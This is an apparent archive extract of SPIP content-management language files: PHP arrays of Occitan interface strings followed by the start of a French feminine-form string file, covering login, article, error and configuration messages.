'info_aide' => 'AJUDA:',
'info_ajouter_mot' => 'Apondre queu mot',
'info_annonce' => 'ANONCI',
'info_annonces_generales' => 'Anoncis generaus:',
'info_article_propose' => 'Article prepausat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en cors de redaccion',
'info_article_refuse' => 'Article refusat',
'info_article_supprime' => 'Article suprimit',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Los articles de validar',
'info_articles_proposes' => 'Articles prepausats',
'info_auteurs_nombre' => 'autor(s)',
'info_authentification_ftp' => 'autentificacion (per FTP).',
'info_breves_2' => 'brevas',
'info_connexion_refusee' => 'Connexion refusada',
'info_contact_developpeur' => 'Volhatz contactar un desvolopaire.',
'info_contenance' => 'Queu sit conten:',
'info_contribution' => 'Contribucions de forum', # MODIF
'info_copyright' => '@spip@ es un logiciau liure distribuit @lien_gpl@',
'info_copyright_doc' => 'Per mai d’informacions, veire lo sit <a href="@spipnet@">http://www.spip.net/oc</a>.', # MODIF
'info_copyright_gpl' => 'sos licéncia GPL',
'info_cours_edition' => 'Vòstres articles en cors de redaccion',
'info_creer_repertoire' => 'Volhatz crear un fichier o un repertòri nommat',
'info_creer_repertoire_2' => 'dedins lo sosrepertòri <b>@repertoire@</b>, puei:',
'info_creer_vignette' => 'creacion automatica de la vinheta',
'info_deplier' => 'Desplejar',
'info_descriptif_nombre' => 'descriptiu(s):',
'info_description' => 'Descripcion:',
'info_description_2' => 'Descripcion:',
'info_dimension' => 'Dimensions:',
'info_ecire_message_prive' => 'Escriure un messatge privat',
'info_email_invalide' => 'Adreiça e-mail invalida',
'info_en_cours_validation' => 'Vòstres articles en cors de redaccion',
'info_en_ligne' => 'Aura en linha:',
'info_envoyer_message_prive' => 'Mandar un messatge privat a quel autor',
'info_erreur_requete' => 'Error dins la requesta',
'info_erreur_squelette2' => 'Brisa d’esqueleta <b>@fichier@</b> es disponibla...',
'info_erreur_systeme' => 'Error sistema (errno @errsys@)',
'info_erreur_systeme2' => 'Lo disc dur es benleu plen, o la basa de donadas degalhada.<br />
<span style="color:red;">Assajatz de <a href=\'@script@\'>reparar la basa</a>, o contactatz vòstre auberjador.</span>',
'info_fini' => 'Quo es ’chabat!',
'info_format_image' => 'Formats d’imatges que se pòden utilizar per crear de las vinhetas: @gd_formats@.',
'info_format_non_defini' => 'format non definit',
'info_grand_ecran' => 'Ecran grand',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Metòde de fabrication de las vinhetas',
'info_impossible_lire_page' => '<b>Error!</b> Impossible de legir la pagina <tt><html>@test_proxy@</html></tt> tras lo proxy <tt>',
'info_installation_systeme_publication' => 'Installacion dau sistema de publicacion...',
'info_installer_documents' => 'Podetz installar automaticament tots los documents contenguts dins lo repertòri @upload@.',
'info_installer_ftp' => 'Coma administrator, podetz installar (per FTP) daus fichiers dins lo dorsier @upload@, puei los seleccionar directament aicí.',
'info_installer_images' => 'Podetz installar daus imatges aus formats JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installar daus imatges dins lo dorsier @upload@ per los poder seleccionar aicí.',
'info_interface_complete' => 'Interfàcia completa',
'info_interface_simple' => 'Interfàcia simplificada',
'info_joindre_document_article' => 'Podetz jónher a quel article daus documents de la mena de',
'info_joindre_document_rubrique' => 'Podetz apondre a quela rubrica daus documents de la mena de',
'info_joindre_documents_article' => 'Podetz jónher a quel article daus documents de la mena de:',
'info_l_article' => 'l’article',
'info_la_breve' => 'la breva',
'info_la_rubrique' => 'la rubrica',
'info_langue_principale' => 'Lenga majorala dau sit',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'per @les_auteurs@ ',
'info_logo_format_interdit' => 'Los lògos de formats @formats@ son sols autorizats.',
'info_logo_max_poids' => 'Los lògos an de far mens de @maxi@ (queste fichier fai @actuel@).',
'info_mail_fournisseur' => 'vos@fornidor.com',
'info_message_2' => 'MESSATGE',
'info_message_supprime' => 'MESSATGE SUPRIMIT',
'info_mise_en_ligne' => 'Data de mesa en linha:',
'info_modification_parametres_securite' => 'modificacions daus parametres de seguretat',
'info_mois_courant' => 'Dins lo corrent dau mes:',
'info_mot_cle_ajoute' => 'S’es apondut lo mot clau seguent a ',
'info_multi_herit' => 'Lenga predefinida',
'info_multi_langues_soulignees' => 'Las <u>lengas solinhadas</u> benefícian d’una revirada de tots los texts de l’interfàcia. Se seleccionatz quelas lengas, fòrça elements dau sit public (datas, formularis) se revirarán automaticament. Per las lengas non solinhadas, quilhs elements apareisserán dins la lenga principala dau sit.', # MODIF
'info_multilinguisme' => 'Multilingüisme',
'info_nom_non_utilisateurs_connectes' => 'Vòstre nom apareis pas dins la tiera daus utilizaires connectats.',
'info_nom_utilisateurs_connectes' => 'Vòstre nom apareis dins la tiera daus utilizaires connectats.',
'info_nombre_en_ligne' => 'Aura en linha:',
'info_non_resultat' => 'Brisa de resultat per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Utilizatz pas la messatjariá interna de queu sit.',
'info_nouveau_message' => 'AVETZ UN MESSATGE NUÒU',
'info_nouveaux_messages' => 'AVETZ @total_messages@ MESSATGES NUÒUS',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'MEMENTO',
'info_petit_ecran' => 'Ecran petit',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Mai d’un mot clau trobat per "@cherche_mot@" :',
'info_portfolio_automatique' => 'Pòrtfòlio automatic:',
'info_premier_resultat' => '[@debut_limit@ primiers resultats de @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primiers resultats de @total@]',
'info_propose_1' => '[@nom_site_spip@] Prepausa: @titre@',
'info_propose_2' => 'Article prepausat
---------------',
'info_propose_3' => 'L’article "@titre@" es prepausat a la publicacion.',
'info_propose_4' => 'Vos convidam a lo venir consultar e a bailar vòstre avís',
'info_propose_5' => 'dins lo forum que li es estachat. Es disponible a l’adreiça:',
'info_publie_01' => 'L’article "@titre@" es estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICA: @titre@',
'info_publie_2' => 'Article publicat
--------------',
'info_rechercher' => 'Cerchar',
'info_rechercher_02' => 'Cerchar:',
'info_remplacer_vignette' => 'Remplaçar la vinheta predefinida per un lògo personalizat:',
'info_sans_titre_2' => 'sens títol',
'info_selectionner_fichier' => 'Podetz seleccionar un fichier dau dorsier @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un fichier:',
'info_supprimer_vignette' => 'suprimir la vinheta',
'info_symbole_bleu' => 'Lo simbeu <b>blau</b> marca un <b>memento</b>: quò vòu dire un messatge per vòstre usatge personau.',
'info_symbole_jaune' => 'Lo simbeu <b>jaune</b> marca un <b>anonci per tots los redactors </b>: los administrators lo pòden modificar, chasque redactor lo pòt veire.',
'info_symbole_vert' => 'Lo simbeu <b>verd</b> marca los <b>messatges eschamjats emb d’autres utilizaires</b> dau sit.',
'info_telecharger_nouveau_logo' => 'Telecharjar un lògo nuòu:',
'info_telecharger_ordinateur' => 'Telecharjar a partir de vòstre ordenador:',
'info_tous_resultats_enregistres' => '[tots los resultats son registrats]',
'info_tout_afficher' => 'Afichar tot',
'info_travaux_texte' => 'Queu sit es pas enquera configurat. Tornatz mai tard...',
'info_travaux_titre' => 'Sit en òbras',
'info_trop_resultat' => 'Tròp de resultats per "@cherche_mot@"; volhatz afinar la cercha.',
'info_utilisation_messagerie_interne' => 'Utilizatz la messatjariá interna de queu sit.',
'info_valider_lien' => 'validar queu liam',
'info_verifier_image' => ', volhatz verificar que los imatges se sián be transferits.',
'info_vignette_defaut' => 'Vinheta predefinida',
'info_vignette_personnalisee' => 'Vinheta personalizada',
'info_visite' => 'vesita:',
'info_vos_rendez_vous' => 'Vòstres rendetz-vos venents',
'infos_vos_pense_bete' => 'Vòstres mementos', # MODIF
// L
'lien_afficher_icones_seuls' => 'Afichar nonmàs las icònas',
'lien_afficher_texte_icones' => 'Afichar las icònas e lo text',
'lien_afficher_texte_seul' => 'Afichar nonmàs lo text',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'liberar quilhs articles', # MODIF
'lien_nouvea_pense_bete' => 'MEMENTO NUÒU ',
'lien_nouveau_message' => 'MESSATGE NUÒU',
'lien_nouvelle_annonce' => 'ANONCI NOVEU',
'lien_petitions' => 'PETICION',
'lien_popularite' => 'popularitat: @popularite@%',
'lien_racine_site' => 'RAIÇ DAU SIT',
'lien_reessayer' => 'tornar assajar',
'lien_repondre_message' => 'Respondre a queu messatge',
'lien_supprimer' => 'suprimir',
'lien_tout_afficher' => 'Afichar tot',
'lien_visite_site' => 'vesitar queu sit',
'lien_visites' => '@visites@ vesitas',
'lien_voir_auteur' => 'Veire quel autor',
'login_acces_prive' => 'accès a l’espaci privat',
'login_autre_identifiant' => 'se connectar emb un autre identificant',
'login_cookie_accepte' => 'Volhatz configurar vòstre navigador per que los accepte (aumens emb queu sit).',
'login_cookie_oblige' => 'Per vos identificar d’una maniera segura sus queste sit, vos chau acceptar los cookies.',
'login_deconnexion_ok' => 'Setz desconnectat/ada.',
'login_erreur_pass' => 'Error de mot de santa Clara.',
'login_espace_prive' => 'espaci privat',
'login_identifiant_inconnu' => 'L’identificant «@login@» es inconegut.',
'login_login' => 'Login:',
'login_login2' => 'Login (identificant de connexion au sit):', # MODIF
'login_login_pass_incorrect' => '(Login o mot de santa Clara incorrecte.)',
'login_motpasseoublie' => 'mot de santa Clara oblidat?',
'login_non_securise' => 'Atencion, queu formulari es pas securizat.
Se voletz pas que vòstre mot de santa Clara siá
interceptat subre lo ret, volhatz activar Javascript
dins vòstre navigador e',
'login_nouvelle_tentative' => 'novel assai',
'login_par_ici' => 'Setz registrat/ada... per aquí...',
'login_pass2' => 'Mot de santa Clara:',
'login_preferez_refuser' => '<b>Se vos agrada mai de refusar los cookies</b>, un autre metòde de connexion (mens securizat) es a vòstra disposicion:',
'login_recharger' => 'tornar charjar quela pagina',
'login_rester_identifie' => 'Demorar identificat quauques jorns',
'login_retour_public' => 'Tornar au sit public',
'login_retour_site' => 'Tornar au sit public',
'login_retoursitepublic' => 'tornar au sit public',
'login_sans_cookiie' => 'Identificacion sens cookie',
'login_sinscrire' => 's’inscriure',
'login_test_navigateur' => 'Assai navigador/tornar connectar',
'login_verifiez_navigateur' => '(pasmens verificatz que vòstre navigador aja pas servat vòstre mot de santa Clara en memòria...)',
// M
'module_fichiers_langues' => 'Fichiers de lenga',
// N
'navigateur_pas_redirige' => 'Se vòstre navigador es pas redirigit, clicatz aicí per contunhar.',
// O
'onglet_affacer_base' => 'Esfaçar la basa',
'onglet_auteur' => 'L’autor',
'onglet_contenu_site' => 'Contengut dau sit',
'onglet_evolution_visite_mod' => 'Evolucion',
'onglet_fonctions_avances' => 'Foncions avançadas',
'onglet_informations_personnelles' => 'Informacions personalas',
'onglet_interactivite' => 'Interactivitat',
'onglet_messagerie' => 'Messatjariá',
'onglet_repartition_rubrique' => 'Reparticion per rubricas',
'onglet_save_restaur_base' => 'Sauvagardar/restaurar la basa',
'onglet_vider_cache' => 'Voidar l’escondedor',
// P
'pass_choix_pass' => 'Volhatz chausir vòstre mot de santa Clara noveu:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error:</b> podetz pas mai accedir a queu sit.',
'pass_erreur_code_inconnu' => '<b>Error:</b> queu còde correspond pas a brisa de vesitaire que puescha accedir a queu sit.',
'pass_erreur_non_enregistre' => '<b>Error:</b> l’adreiça <tt>@email_oubli@</tt> es pas registrada sus queu sit.',
'pass_erreur_non_valide' => '<b>Error:</b> quel e-mail <tt>@email_oubli@</tt> es pas valid!',
'pass_erreur_probleme_technique' => '<b>Error:</b> per’mor d’un problema tecnic, l’e-mail se pòt pas mandar. ',
'pass_espace_prive_bla' => 'L’espaci privat de queste sit es dobert aus
vesitaires que se son inscrichs. Un còp registrat/ada,
poiretz consultar los articles en cors de redaccion,
prepausar daus articles noveus e participar a tots los forums.',
'pass_forum_bla' => 'Avetz demandat d’intervenir dins un forum
reservat aus vesitaires registrats.',
'pass_indiquez_cidessous' => 'Marcatz çai sos l’adreiça e-mail ont
vos registrèretz lo còp passat.
Recebretz un e-mail que vos bailará la maniera de
tornar trobar vòstre accès.',
'pass_mail_passcookie' => '(quo es un messatge automatic)
Per tornar trobar vòstre accès au sit
@nom_site_spip@ (@adresse_site@)
Volhatz ’nar a l’adreiça seguenta:
@sendcookie@
Aladonc poiretz entrar un mot de santa Clara noveu
e vos tornar connectar au sit.
',
'pass_mot_oublie' => 'Mot de santa Clara oblidat',
'pass_nouveau_enregistre' => 'Vòstre mot de santa Clara noveu es estat registrat.',
'pass_nouveau_pass' => 'Mot de santa Clara noveu',
'pass_ok' => 'Consent',
'pass_oubli_mot' => 'Mot de santa Clara oblidat',
'pass_quitter_fenetre' => 'Quitar questa fenestra ',
'pass_rappel_login' => 'Remembrança: vòstre identificant (login) es «@login@».',
'pass_recevoir_mail' => 'Recebretz un e-mail que vos explicará coma tornar trobar vòstre accès au sit.',
'pass_retour_public' => 'Tornar au sit public',
'pass_rien_a_faire_ici' => 'Pas ren a faire aicí.',
'pass_vousinscrire' => 'S’inscriure sus queste sit',
'precedent' => 'precedent',
'previsualisation' => 'Previsualizacion',
'previsualiser' => 'Previsualizar',
// S
'stats_visites_et_popularite' => '@visites@ vesitas; popularitat: @popularite@',
'suivant' => 'seguent',
// T
'taille_ko' => '@taille@ Ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quand vos seretz familharizat/ada emb l’interfàcia, poiretz clicar subre «',
'texte_actualite_site_2' => 'Interfàcia completa',
'texte_actualite_site_3' => '" per dobrir mai de possibilitats.',
'texte_creation_automatique_vignette' => 'La creacion automatica de vinhetas de previsualizacion es activada sus queu sit. S’installatz a partir de queu formulari daus imatges au(s) format(s) @gd_formats@, s’acompanharán d’una vinheta d’una talha maximala de @taille_preview@ pixels.',
'texte_documents_associes' => 'Los documents seguents s’assòcian a l’article,
mas s’inserissen pas
directament. Segon la compaginacion dau sit public,
poirán aparéisser sos forma de documents jonchs.',
'texte_erreur_mise_niveau_base' => 'Error de basa de donadas pendent la mesa a niveu. L’imatge <b>@fichier@</b> es pas passat (article @id_article@).
Notatz plan quela referéncia, tornatz assajar la mesa a
niveu, e verificatz puei que los imatges apareissan
enquera dins los articles.',
'texte_inc_auth_1' => 'Setz identificat/ada coma
<b>@auth_login@</b>, mas queu login existís pas o pas mai dins la basa.
Assajatz de vos', # MODIF
'texte_inc_auth_2' => 'tornar connectar',
'texte_inc_auth_3' => ', après qu’auretz quitat eventualament, puei
tornat lançar vòstre navigador.',
'texte_inc_config' => 'Las modificacions fachas dins questas paginas influéncian ferme lo
foncionament de vòstre sit. Vos aconselham de pas i intervenir tant que siatz pas
acostumat/ada au foncionament dau sistema SPIP. <br /><br /><b>
En generau, se conselha fòrt
de laissar la charja de questas paginas au webmestre principau de vòstre sit.</b>',
'texte_inc_meta_1' => 'Lo sistema a rescontrat una error durant l’escritura dau fichier <code>@fichier@</code>. Volhatz, coma administrator/tritz dau sit,',
'texte_inc_meta_2' => 'verificar los drechs d’escritura',
'texte_inc_meta_3' => 'dins lo repertòri <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en cors de redaccion',
'texte_statut_poubelle' => 'au bordilhier',
'texte_statut_propose_evaluation' => 'prepausat per avaloracion',
'texte_statut_publie' => 'publicat en linha',
'texte_statut_refuse' => 'refusat',
'titre_ajouter_mot_cle' => 'APONDRE UN MOT CLAU:',
'titre_cadre_raccourcis' => 'ESCORCHIERAS:',
'titre_changer_couleur_interface' => 'Chamjar la color de l’interfàcia',
'titre_image_admin_article' => 'Podetz administrar queste article',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'De l’ajuda subre quel element',
'titre_image_auteur_supprime' => 'Autor suprimit',
'titre_image_redacteur' => 'Redactor sens accès',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Vesitaire',
'titre_joindre_document' => 'JÓNHER UN DOCUMENT',
'titre_mots_cles' => 'MOTS CLAU',
'titre_probleme_technique' => 'Atencion: un problema tecnic (servidor SQL) empacha d’accedir a quela part dau sit. Mercés de vòstra indulgéncia.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENT DINS QUELA RUBRICA',
'titre_statistiques' => 'Estadisticas dau sit',
'titre_titre_document' => 'Títol dau document:',
'trad_reference' => '(article de referéncia)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balisa B en avau',
'zbug_boucle' => 'bloca',
'zbug_boucle_recursive_undef' => 'bloca recursiva non definida', # MODIF
'zbug_champ_hors_boucle' => 'Champ @champ@ fòra bloca',
'zbug_champ_hors_motif' => 'Champ @champ@ en defòra d’una bloca de motiu @motif@', # MODIF
'zbug_code' => 'còde',
'zbug_critere_inconnu' => 'critèri inconegut @critere@', # MODIF
'zbug_distant_interdit' => 'extèrne enebit', # MODIF
'zbug_erreur_boucle_double' => 'BLOCA@id@: definicion dobla', # MODIF
'zbug_erreur_boucle_fermant' => 'BLOCA@id@: lo tag barrador manca', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintaxi bloca incorrecta', # MODIF
'zbug_erreur_execution_page' => 'error d’execucion de la pagina', # MODIF
'zbug_erreur_filtre' => 'Error: filtre <b>« @filtre@ »</b> non definit', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} s’aplica nonmàs a las blocas (FORUMS) o (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Error(s) dins l’esqueleta',
'zbug_info_erreur_squelette' => 'Error subre lo sit',
'zbug_inversion_ordre_inexistant' => 'inversion d’un òrdre inexistent', # MODIF
'zbug_parametres_inclus_incorrects' => 'Paramètres d’inclusion incorrèctes', # MODIF
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'servidor SQL indefinit', # MODIF
'zbug_table_inconnue' => 'Taula SQL «@table@» inconeguda'
);
?>
ecrire_fr_fem.php 0000666 00000227341 15252547432 0010072 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activer le plugin',
'affichage' => 'Affichage',
'aide_non_disponible' => 'Cette partie de l’aide en ligne n’est pas encore disponible dans cette langue.',
'annuler_recherche' => 'Annuler la recherche',
'auteur' => 'Auteure :',
'avis_acces_interdit' => 'Accès interdit.',
'avis_article_modifie' => 'Attention, @nom_auteur_modif@ a travaillé sur cet article il y a @date_diff@ minutes',
'avis_aucun_resultat' => 'Aucun résultat.',
'avis_base_inaccessible' => 'Impossible de se connecter à la base de données @base@.',
'avis_chemin_invalide_1' => 'Le chemin que vous avez choisi',
'avis_chemin_invalide_2' => 'ne semble pas valide. Veuillez retourner à la page précédente et vérifier les informations fournies.',
'avis_connexion_echec_1' => 'La connexion à la base de données a échoué.',
'avis_connexion_echec_2' => 'Revenez à la page précédente, et vérifiez les informations que vous avez fournies.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sur de nombreux serveurs, vous devez <b>demander</b> l’activation de votre accès à la base de données avant de pouvoir l’utiliser. Si vous ne pouvez vous connecter, vérifiez que vous avez effectué cette démarche.',
'avis_connexion_erreur_nom_base' => 'Le nom de la base ne peut contenir que des lettres, des chiffres et des tirets',
'avis_connexion_ldap_echec_1' => 'La connexion au serveur LDAP a échoué.',
'avis_connexion_ldap_echec_2' => 'Revenez à la page précédente, et vérifiez les informations que vous avez fournies.',
'avis_connexion_ldap_echec_3' => 'Alternativement, n’utilisez pas le support LDAP pour importer des utilisatrices.',
'avis_deplacement_rubrique' => 'Attention ! Cette rubrique contient @contient_breves@ brève@scb@ : si vous la déplacez, veuillez cocher cette case de confirmation.',
'avis_destinataire_obligatoire' => 'Vous devez indiquer une destinataire avant d’envoyer ce message.',
'avis_erreur_connexion_mysql' => 'Erreur de connexion SQL',
'avis_erreur_version_archive' => '<b>Attention ! Le fichier @archive@ correspond à
une autre version de SPIP que celle que vous avez
installée.</b> Vous allez au-devant de grosses
difficultés : risque de destruction de votre base de
données, dysfonctionnements divers du site, etc. Ne
validez pas cette demande d’importation.<p>Pour plus
d’informations, voyez <a href="@spipnet@">
la documentation de SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Espace interdit</b><div>SPIP est déjà installé.</div>',
'avis_lecture_noms_bases_1' => 'Le programme d’installation n’a pas pu lire les noms des bases de données installées.',
'avis_lecture_noms_bases_2' => 'Soit aucune base n’est disponible, soit la fonction permettant de lister les bases a été désactivée
pour des raisons de sécurité (ce qui est le cas chez de nombreux hébergeurs).',
'avis_lecture_noms_bases_3' => 'Dans la seconde alternative, il est probable qu’une base portant votre nom de login soit utilisable :',
'avis_non_acces_message' => 'Vous n’avez pas accès à ce message.',
'avis_non_acces_page' => 'Vous n’avez pas accès à cette page.',
'avis_operation_echec' => 'L’opération a échoué.',
'avis_operation_impossible' => 'Opération impossible',
'avis_probleme_archive' => 'Problème de lecture du fichier @archive@',
'avis_suppression_base' => 'ATTENTION, la suppression des données est irréversible',
'avis_version_mysql' => 'Votre serveur SQL (@version_mysql@) ne permet pas l’auto-réparation des tables de la base.',
// B
'bouton_acces_ldap' => 'Ajouter l’accès à LDAP',
'bouton_ajouter' => 'Ajouter',
'bouton_ajouter_participant' => 'AJOUTER UNE PARTICIPANTE :',
'bouton_annonce' => 'ANNONCE',
'bouton_annuler' => 'Annuler',
'bouton_cache_activer' => 'Réactiver le cache',
'bouton_cache_desactiver' => 'Désactiver temporairement le cache',
'bouton_checkbox_envoi_message' => 'possibilité d’envoyer un message',
'bouton_checkbox_indiquer_site' => 'indiquer obligatoirement un site Web',
'bouton_checkbox_signature_unique_email' => 'une seule signature par adresse email',
'bouton_checkbox_signature_unique_site' => 'une seule signature par site Web',
'bouton_demande_publication' => 'Demander la publication de cet article',
'bouton_desactive_tout' => 'Tout désactiver',
'bouton_desinstaller' => 'Désinstaller',
'bouton_effacer_index' => 'Effacer les index',
'bouton_effacer_tout' => 'Effacer TOUT',
'bouton_envoi_message_02' => 'ENVOYER UN MESSAGE',
'bouton_envoyer_message' => 'Message définitif : envoyer',
'bouton_fermer' => 'Fermer',
'bouton_mettre_a_jour_base' => 'Mettre à jour la base de données',
'bouton_modifier' => 'Modifier',
'bouton_pense_bete' => 'PENSE-BÊTE À USAGE PERSONNEL',
'bouton_radio_activer_messagerie' => 'Activer la messagerie interne',
'bouton_radio_activer_messagerie_interne' => 'Activer la messagerie interne',
'bouton_radio_activer_petition' => 'Activer la pétition',
'bouton_radio_afficher' => 'Afficher',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Apparaître dans la liste des rédactrices connectées',
'bouton_radio_desactiver_messagerie' => 'Désactiver la messagerie',
'bouton_radio_envoi_annonces_adresse' => 'Envoyer les annonces à l’adresse :',
'bouton_radio_envoi_liste_nouveautes' => 'Envoyer la liste des nouveautés',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Ne pas apparaître dans la liste des rédactrices',
'bouton_radio_non_envoi_annonces_editoriales' => 'Ne pas envoyer d’annonces éditoriales',
'bouton_radio_pas_petition' => 'Pas de pétition',
'bouton_radio_petition_activee' => 'Pétition activée',
'bouton_radio_supprimer_petition' => 'Supprimer la pétition',
'bouton_redirection' => 'REDIRECTION',
'bouton_relancer_installation' => 'Relancer l’installation',
'bouton_suivant' => 'Suivant',
'bouton_tenter_recuperation' => 'Tenter une réparation',
'bouton_test_proxy' => 'Essayer le proxy',
'bouton_vider_cache' => 'Vider le cache',
'bouton_voir_message' => 'Voir ce message avant de le valider',
// C
'cache_mode_compresse' => 'Les fichiers du cache sont enregistrés en mode compressé.',
'cache_mode_non_compresse' => 'Les fichiers du cache sont enregistrés en mode non compressé.',
'cache_modifiable_webmestre' => 'Ce paramètre est modifiable par la webmestre du site.',
'calendrier_synchro' => 'Si vous utilisez un logiciel d’agenda compatible <b>iCal</b>, vous pouvez le synchroniser avec les informations de ce site.',
'config_activer_champs' => 'Activer les champs suivants',
'config_choix_base_sup' => 'indiquer une base sur ce serveur',
'config_erreur_base_sup' => 'SPIP n’a pas accès à la liste des bases accessibles',
'config_info_base_sup' => 'Si vous avez d’autres bases de données à interroger à travers SPIP, avec son serveur SQL ou avec un autre, le formulaire ci-dessous, vous permet de les déclarer. Si vous laissez certains champs vides, les identifiants de connexion à la base principale seront utilisés.',
'config_info_base_sup_disponibles' => 'Bases supplémentaires déjà interrogeables :',
'config_info_enregistree' => 'La nouvelle configuration a été enregistrée',
'config_info_logos' => 'Chaque élément du site peut avoir un logo, ainsi qu’un « logo de survol »',
'config_info_logos_utiliser' => 'Utiliser les logos',
'config_info_logos_utiliser_non' => 'Ne pas utiliser les logos',
'config_info_logos_utiliser_survol' => 'Utiliser les logos de survol',
'config_info_logos_utiliser_survol_non' => 'Ne pas utiliser les logos de survol',
'config_info_redirection' => 'En activant cette option, vous pourrez créer des articles virtuels, simples références d’articles publiés sur d’autres sites ou hors de SPIP.',
'config_redirection' => 'Articles virtuels',
'config_titre_base_sup' => 'Déclaration d’une base supplémentaire',
'config_titre_base_sup_choix' => 'Choisissez une base supplémentaire',
'connexion_ldap' => 'Connexion :',
'copier_en_local' => 'Copier en local',
'creer_et_associer_un_auteur' => 'Créer et associer une auteure',
'creer_et_associer_une_rubrique' => 'Créer et associer une rubrique',
// D
'date_mot_heures' => 'heures',
// E
'ecran_securite' => ' + écran de sécurité @version@',
'email' => 'email',
'email_2' => 'email :',
'en_savoir_plus' => 'En savoir plus',
'entree_adresse_annuaire' => 'Adresse de l’annuaire',
'entree_adresse_email' => 'Votre adresse email',
'entree_adresse_email_2' => 'Adresse email',
'entree_base_donnee_1' => 'Adresse de la base de données',
'entree_base_donnee_2' => '(Souvent cette adresse correspond à celle de votre site, parfois elle correspond à la mention « localhost », parfois elle est laissée totalement vide.)',
'entree_biographie' => 'Courte biographie en quelques mots.',
'entree_chemin_acces' => '<b>Entrer</b> le chemin d’accès :',
'entree_cle_pgp' => 'Votre clé PGP',
'entree_cle_pgp_2' => 'Clé PGP',
'entree_contenu_rubrique' => '(Contenu de la rubrique en quelques mots.)',
'entree_identifiants_connexion' => 'Vos identifiants de connexion...',
'entree_identifiants_connexion_2' => 'Identifiants de connexion',
'entree_informations_connexion_ldap' => 'Veuillez entrer dans ce formulaire les informations de connexion à votre annuaire LDAP.
Ces informations doivent pouvoir vous être fournies par l’administratrice du système,
ou du réseau.',
'entree_infos_perso' => 'Qui êtes-vous ?',
'entree_infos_perso_2' => 'Qui est l’auteure ?',
'entree_interieur_rubrique' => 'À l’intérieur de la rubrique :',
'entree_liens_sites' => '<b>Lien hypertexte</b> (référence, site à visiter...)',
'entree_login' => 'Votre login',
'entree_login_connexion_1' => 'Le login de connexion',
'entree_login_connexion_2' => '(Correspond parfois à votre login d’accès au FTP ; parfois laissé vide)',
'entree_login_ldap' => 'Login LDAP initial',
'entree_mot_passe' => 'Votre mot de passe',
'entree_mot_passe_1' => 'Le mot de passe de connexion',
'entree_mot_passe_2' => '(Correspond parfois à votre mot de passe pour le FTP ; parfois laissé vide)',
'entree_nom_fichier' => 'Veuillez entrer le nom du fichier @texte_compresse@ :',
'entree_nom_pseudo' => 'Votre nom ou votre pseudo',
'entree_nom_pseudo_1' => '(Votre nom ou votre pseudo)',
'entree_nom_pseudo_2' => 'Nom ou pseudo',
'entree_nom_site' => 'Le nom de votre site',
'entree_nom_site_2' => 'Nom du site de l’auteure',
'entree_nouveau_passe' => 'Nouveau mot de passe',
'entree_passe_ldap' => 'Mot de passe',
'entree_port_annuaire' => 'Le numéro de port de l’annuaire',
'entree_signature' => 'Signature',
'entree_titre_obligatoire' => '<b>Titre</b> [Obligatoire]<br />',
'entree_url' => 'L’adresse (URL) de votre site',
'entree_url_2' => 'Adresse (URL) du site',
'erreur_connect_deja_existant' => 'Un serveur existe déjà avec ce nom',
'erreur_nom_connect_incorrect' => 'Ce nom de serveur n’est pas autorisé',
'erreur_plugin_desinstalation_echouee' => 'La désinstallation du plugin a échoué. Vous pouvez néanmoins le désactiver.',
'erreur_plugin_fichier_absent' => 'Fichier absent',
'erreur_plugin_fichier_def_absent' => 'Fichier de définition absent',
'erreur_plugin_nom_fonction_interdit' => 'Nom de fonction interdit',
'erreur_plugin_nom_manquant' => 'Nom du plugin manquant',
'erreur_plugin_prefix_manquant' => 'Espace de nommage du plugin non défini',
'erreur_plugin_tag_plugin_absent' => '<plugin> manquant dans le fichier de définition',
'erreur_plugin_version_manquant' => 'Version du plugin manquante',
// H
'htaccess_a_simuler' => 'Avertissement : la configuration de votre serveur HTTP ne tient pas compte des fichiers @htaccess@. Pour pouvoir assurer une bonne sécurité, il faut que vous modifiiez cette configuration sur ce point, ou bien que les constantes @constantes@ (définissables dans le fichier mes_options.php) aient comme valeur des répertoires en dehors de @document_root@.',
'htaccess_inoperant' => 'htaccess inopérant',
// I
'ical_info1' => 'Cette page présente plusieurs méthodes pour rester en contact avec la vie de ce site.',
'ical_info2' => 'Pour plus de renseignements sur toutes ces techniques, n’hésitez pas à consulter <a href="@spipnet@">la documentation de SPIP</a>.',
'ical_info_calendrier' => 'Deux calendriers sont à votre disposition. Le premier est un plan du site annonçant tous les articles publiés. Le second contient les annonces éditoriales ainsi que vos derniers messages privés : il vous est réservé grâce à une clé personnelle, que vous pouvez modifier à tout moment en renouvelant votre mot de passe.',
'ical_methode_http' => 'Téléchargement',
'ical_methode_webcal' => 'Synchronisation (webcal ://)',
